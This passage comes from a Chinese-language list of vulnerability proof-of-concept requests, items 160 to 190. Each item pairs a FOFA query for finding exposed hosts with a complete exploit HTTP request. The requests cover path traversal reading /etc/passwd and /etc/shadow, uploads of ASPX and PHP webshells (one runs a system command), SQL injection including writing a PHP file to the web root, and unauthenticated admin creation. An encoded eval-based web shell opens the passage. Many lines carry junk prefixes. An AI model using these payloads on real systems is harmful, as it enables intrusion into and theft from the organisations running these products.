<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 n' {4 t+ O" _; B( W" h</jobUpload>
</soap:Body>
</soap:Envelope>

8 g' `6 k0 a0 a8 E& o' P
% W- j/ L8 {4 J/ q( e3 L/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
0 w( I9 C1 f, @9 P4 s8 j
& s: W- T; T5 J
160. Sonatype Nexus Repository 3目录遍历与文件读取
* A4 @7 [/ @" fCVE-2024-4956
FOFA：title="Nexus Repository Manager"
) t* ~- _2 ~5 ]' D9 _# k8 K- @GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
) y$ n: c8 B- M; oUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
2 K( U3 H6 b5 X/ Q) p5 f  {Connection: close
' s- F% I! X: H2 f9 D7 dAccept: */*
Accept-Language: en
Accept-Encoding: gzip
# s9 C7 W  e: t; y, T' z
& Z; s4 ?5 B# F0 J  S
8 M3 {7 w, `. ~: M6 D* \) r6 N161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
2 W' f9 h5 B7 i/ k: X8 R- X3 P+ q第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
) y( @& R/ o, ^9 |1 m. HPOST /Webservice.asmx HTTP/1.1
2 W' G# k- G7 w( r" LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
* N, Q& d# i7 Y# A  k% ~Content-Length: 445
Content-Type: text/xml
, N) J$ n) S! o% O, F: BAccept-Encoding: gzip

. d. x8 h4 Q, N; P1 n. i) ^. I<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
; q$ t- o. H7 \. E5 }& ~<soap:Body>
' l0 ]/ Y  _" L<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
, u+ ?0 D% z" h+ Q2 q: n<fileName>../../../../dizxdell.aspx</fileName>
! a& f7 k0 H, t6 k$ T- N$ z: H<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
: Z6 _: ?+ G1 g# c6 q& d" E<tag>3</tag>
6 m! }! F. \( z8 T</UploadResume>
5 l: L! i8 \2 q( C5 _5 @3 [</soap:Body>
</soap:Envelope>


4 L. T7 @1 E! l) Y6 m( Thttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
- q5 b& L6 @5 u+ \$ v& zPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9 \6 {! w5 f6 ^4 @Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
0 @+ |8 z' @3 r# V* R4 M: r' k
. I, [0 S8 ]) b% c# }------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
4 |, d! C3 Y, S, ^: b( q" RContent-Disposition: form-data; name="responderId"

ResourceNewResponder
" s( B$ `% }* e/ C------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

" d, `! b+ g( Y) q* z/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
  S5 A. l6 T' {6 m6 \. Q( c& e- N
$ w% p6 I/ B' K6 X) w. Q  z; N$ p
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
7 m/ x2 {" ?# c; i1 u5 g
% t' W. S3 J, r7 o2 q163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
+ p4 y5 P; |/ e5 I# Y, ]8 I1 l! VFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
. i# V8 j- b5 B$ d! s9 z! TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
  v4 U  j  Z& Q' i  p" J# YConnection: close
: m: E$ Y2 _' Y& N( IContent-Length: 293
3 s# F% D2 i1 s' a4 f7 e  d9 ]' lAccept: */*
Accept-Encoding: gzip, deflate
! r' M: Q5 S; A  g4 C& qAccept-Language: zh-CN,zh;q=0.9
' t7 f; ]4 N/ ?$ J' ~Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
& T8 T( e3 [1 |2 I0 a7 p4 f6 F4 ZContent-Disposition: form-data; name="name"
. z" S0 d1 X1 _2 y$ V% M( C
7 k. O+ H. j: }  z( a( |1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
: ]% ?! K$ [1 t: e$ u3 k8 n; t

& B$ Y. d; m3 I( v9 w164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
+ C. K6 P+ U  }9 W  ~/ eFOFA: title="智慧综合管理平台登入"
3 i) B$ S9 h% V$ ePOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
- v/ @* G, I0 |: _' z9 S) FContent-Length: 288
( o, Z" h* ^' e4 cAccept: application/json, text/javascript, */*; q=0.01
+ u; `5 C% v4 ^" z( u; F0 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
% [' h8 \( \/ N
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! n; F: ~$ }! |: D/ `/ W4 T; l------dqdaieopnozbkapjacdbdthlvtlyl--
; J# M6 B' {' h+ O0 C) X7 M, y

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
/ J) R/ M& g9 x/ N
7 w$ |" N6 `, Z! ]2 {: d' e165. OrangeHRM 3.3.3 SQL 注入
! G: D4 `- T2 ~CVE-2024-36428
# R9 ^  t. S0 |% O, O- g+ mFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
8 b% ^7 v# b8 f: X3 H3 _% t
! c* C' S% C0 L9 P* j7 E
166. 中成科信票务管理平台SeatMapHandler SQL注入
' d; v  S' i  C- X( PFOFA：body="技术支持：北京中成科信科技发展有限公司"
; y( T% c3 \7 d; xPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
( E7 v2 U! s! S6 WHost:
Pragma: no-cache
  u2 N) K: g& w/ u$ W5 nCache-Control: no-cache
5 l& o3 z' S& l# N* c  MUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
. H  `! x. B4 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 k8 n* ]6 P0 E: _Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
  c  {7 B2 N1 U' aConnection: close
Content-Type: application/x-www-form-urlencoded
6 v9 N# w) O) N" t0 F, s4 AContent-Length: 89
: J9 y. a  z! |/ v
, b6 n5 z- X6 }, }! K0 |! _Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
- q6 f7 _9 r' w* g; y  a

4 u. G% r) q: H167. 精益价值管理系统 DownLoad.aspx任意文件读取
% r+ U/ v8 y6 x' m# A; H0 U$ aFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
! h( a/ d. H, U2 x& K! L* F1 r) mHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 U7 K* x* t) V6 f+ C: oContent-Type: application/x-www-form-urlencoded
& |/ _5 {5 [" @5 U; t  G/ cAccept-Encoding: gzip, deflate
Accept: */*
. d. y+ F5 j2 y' }( jConnection: keep-alive
6 E* K8 D5 x$ P0 I. D1 E5 F$ }9 ~

168. 宏景EHR OutputCode 任意文件读取
  {+ P) b1 M; K9 Z7 TFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
4 k6 q- h6 T2 r. E- ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
+ |! u, i# r3 \6 fContent-Type: application/x-www-form-urlencoded
9 n  V9 O! B/ u& u% JConnection: close



169. 宏景EHR downlawbase SQL注入
- Q0 y2 K/ b# v0 e8 kFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
5 g. f: g6 S& ?, m6 F" N; N& p) y5 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

3 R! z; z6 [4 `5 K6 q

2 N( s& t8 f/ P" s3 F170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
1 d1 a9 Y& [* V# I. _( MHost: balalanengliang
' _" o' [+ M/ ?$ g/ E! aUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
! M4 [& [7 ?- u  K% R
filename=../webapps/ROOT/WEB-INF/web.xml

+ G6 w/ V% l1 x; J3 y' B# ~4 |
  r& [) t! l3 l( i: P% W' g3 ?; ^% d+ z171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
1 Y& ]$ C, p# @: s( \$ pGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
+ h7 W( b# o: b" S' A4 uHost: your-ip
2 y' s! h9 ?$ O3 T: V" y! aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 Y8 F4 a/ S# X5 v3 DAccept-Encoding: gzip, deflate
Accept: */*
; ^) Z! x+ ?& A1 ^1 pConnection: keep-alive


4 q$ K5 n( t8 |% X- W7 g3 P  ]* G0 h
1 _- \( f2 H- r. V7 P! U173. Check Point 安全网关任意文件读取
3 E9 z6 O: N& k, y4 A; l7 bCVE-2024-24919
: h5 u8 k( H+ EFOFA：app="Check_Point-SSL-Network-Extender"
! x! K% G6 I% n" a3 l/ T3 NPOST /clients/MyCRL HTTP/1.1
3 Y  d, c' m; M0 N+ M) }Host: your-ip
& E7 c" s5 E- L1 ?3 b- SContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
3 O% X2 y# g5 K9 `) ?& ~! H" @
* \4 x9 T  Z0 h2 r% t

$ Q' F9 x$ q+ k$ }5 V8 {0 d$ ~174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
/ D8 t& X( g5 `GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
% r, d* J/ J; a" tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b7 ^5 J; H! p8 w: O: N7 \3 H! UAccept-Encoding: gzip, deflate, br
* P0 n2 }: |( l& z5 |2 VAccept-Language: zh-CN,zh;q=0.9
Connection: close
" T6 l0 K4 q8 s8 w1 z6 @- Q
9 r# k8 E4 Z1 u$ e4 h  ^
2 ~" J8 c0 U4 \
) O7 p; G6 B. g175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
1 n6 n1 _' s6 O8 jHost:
" _2 T. p7 B/ b0 f1 {% p( K' SUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% n) g2 @, W* T4 `2 _7 |& \" YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* @7 P* [/ F7 y8 ~, U* B) GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
$ h6 v; Z' k: B" U

176. 电信网关配置管理系统 rewrite.php 文件上传
9 D4 m  r+ }* d) GFOFA：body="img/login_bg3.png" && body="系统登录"
& Q7 g# O3 A3 t! fPOST /manager/teletext/material/rewrite.php HTTP/1.1
1 r" g1 R1 g! |Host: your-ip
+ c2 F3 }' q8 G" R8 r  bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
% }! @% g: \. d8 Y; Y6 H
& G( @) G% O3 N# F9 ~" C$ h! O------WebKitFormBoundaryOKldnDPT
! x* k: m9 o$ k& Z3 lContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
$ d5 X3 {3 A2 x! ^
3 W# X  b5 n; A5 Q- ?5 x% F<?php system("cat /etc/passwd");unlink(__FILE__);?>
' }8 A4 W7 |; N( W, S9 j------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
1 \' R* x( Q. \1 _

$ j2 Z. L6 D/ Y  B------WebKitFormBoundaryOKldnDPT--

1 U* V! k: O' O

177. H3C路由器敏感信息泄露
7 J8 [* ^8 ]7 [' f. I: Y) a3 D  Z/ a5 \/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
# u5 v& K. w4 Z3 [! k/userLogin.asp/../actionpolicy_status/../M60.cfg
4 n, s+ M. v2 B: S/userLogin.asp/../actionpolicy_status/../GR8300.cfg
# W* n3 ?; j; A3 L; W; T$ t% E/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
$ F; E# ^' z7 s% H; _9 Q* O" d* E/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
7 Q; L" o) _4 h1 H+ a/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
, J% T$ {& z: y, W( V8 E/userLogin.asp/../actionpolicy_status/../ER5200.cfg
1 J& h5 I1 B3 U" b) c  i/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
$ n' E7 u, U/ O4 |/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
$ z" x! q3 J4 g7 |/ m/userLogin.asp/../actionpolicy_status/../ER3200.cfg
( d1 F% h* e2 Y1 F4 T/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
8 t; d% X- g2 ~" D! D! hFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
: j1 X, o! \7 I# `3 |7 uContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
' v& P) T& v, `! d) ~. Y6 O-----------------aqutkea7vvanpqy3rh2l
3 E( @: O% \/ E! i! K6 \9 O" hContent-Disposition: form-data; name="12234.txt"; filename="12234"
4 Q7 \( ?/ z1 `' j% }Content-Type: application/octet-stream
Content-Length: 255
! X. X' O* c- |
12234
-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt
5 w$ t; S3 s; I) k, j

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 i+ N8 G$ K2 m1 J7 QUser-Agent: Mozilla/5.0
/ N, X9 u( d4 G$ o4 v2 ~
5 d! r+ v1 P1 w- Opath=../log4net.config&Name=
( m' o' Y' M. o2 X, v  _  ?6 G

/ j/ t$ N* s3 A  X180. 帮管客 CRM jiliyu SQL注入
9 U3 w1 S5 n1 ~) B( X6 ~# _FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
' x' l4 {4 {0 g! q' {Host: your-ip
; ]5 }6 v4 H/ j8 |4 D) iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" y/ A3 C0 P$ x( EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) [% g1 |5 U. M* [. qAccept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
6 ^( A4 x# t6 L) Q/ mFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
1 Y# O" X; b( S4 {1 pHost: your-ip
( H9 k- ]/ C2 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ J# Q: C; p& s7 _/ a9 lAccept-Encoding: gzip, deflate, br
7 ~+ y7 W% N$ JAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
+ ^2 Q2 L$ J8 K" U

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
$ c+ c7 c- k. {5 l! y
. V, L0 s6 b' O% X2 v8 S9 |) V
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
& V2 @* _& C! b! O; l! fPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
3 w3 m' {. h. M" GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 K& K5 u  A1 p' L& sAccept-Encoding: gzip, deflate, br
2 N: g7 u$ c6 Y0 ^, NAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' C& p( Q4 e9 N8 g( e  Y; O

0 s3 D6 R1 ~) j1 Z1 I5 _username=test1234&pwd=test1234&savedays=1
8 F( L% Y: W/ t0 r  ]/ B
& y3 d( Y6 q! V# O
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
& n9 b2 M! O% f- Z& mGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
/ k! C5 q1 S9 k4 I; L. jUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
9 I$ A8 Y9 s3 m5 R: a: w: ~Connection: close

$ [$ ?3 d+ X- ?# L+ |& J9 Z
) a, Y4 ?" m0 a, p184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
  F. G: m/ x& @* X: g" U+ pPOST /soap/AddUser HTTP/1.1
Host: your-ip
4 N6 j4 F2 _* ^" iAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
: ]: X; l$ _- J: m! KAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
8 s3 ]2 _- P8 S* }
1 r* z2 @, G* c, {5 u
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

. L$ m; K0 c1 H
185. 瑞友天翼应用虚拟化系统SQL注入
8 M* Z5 G' w) ~: M; vversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
4 I( s9 y7 [- v3 k, A- W" A) @8 _, tGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
: M3 A2 v% L$ ]  tHost: host
! h% b; M: O' t: u8 O

3 H) y. K7 U3 g3 \* y' Q6 a$ U186. F-logic DataCube3 SQL注入
CVE-2024-31750
# u) X0 r3 b8 g# Y# K2 J: rF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
- a1 m( Y: z: S# l$ XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
9 N3 v- ^! i% w& KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
( t1 W) a. x2 Y( m* w; lContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


/ Y9 a& q' z& d6 u9 ^! K187. Mura CMS processAsyncObject SQL注入
! r- W- u) t8 n+ Y+ x! [CVE-2024-32640
FOFA："Mura CMS"
# S7 x8 T2 @$ Q# {% `, `POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' C( a0 H( c( Y3 J" qHost: your-ip
: c6 ?! E/ q& Y' S; J, iContent-Type: application/x-www-form-urlencoded


4 Y* ^0 u6 [' X5 r2 z) wobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
6 b9 d7 z8 d9 J+ _$ f4 y4 C
) O+ I$ c6 n! E1 z. b! ~: T4 Q
. v+ H" j: x* E188. 叁体-佳会视频会议 attachment 任意文件读取
6 L0 Z* n5 d5 ~, \* [3 ^7 u2 lversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
( A5 }( E1 c( }) l* U3 ~GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% s7 R! D2 S9 s% ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 s6 F9 H- ^& E. H. u/ R4 @Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
2 S% Z% c* V. M1 r/ W3 x4 l

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. n& J0 B4 N. w  v7 o8 _( aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& v1 k; J- A1 k! J, c& tAccept-Language: zh-CN,zh;q=0.9
9 @9 O! B: ~$ n0 s2 B. w+ D' cConnection: close


190. 短视频矩阵营销系统 poihuoqu 任意文件读取
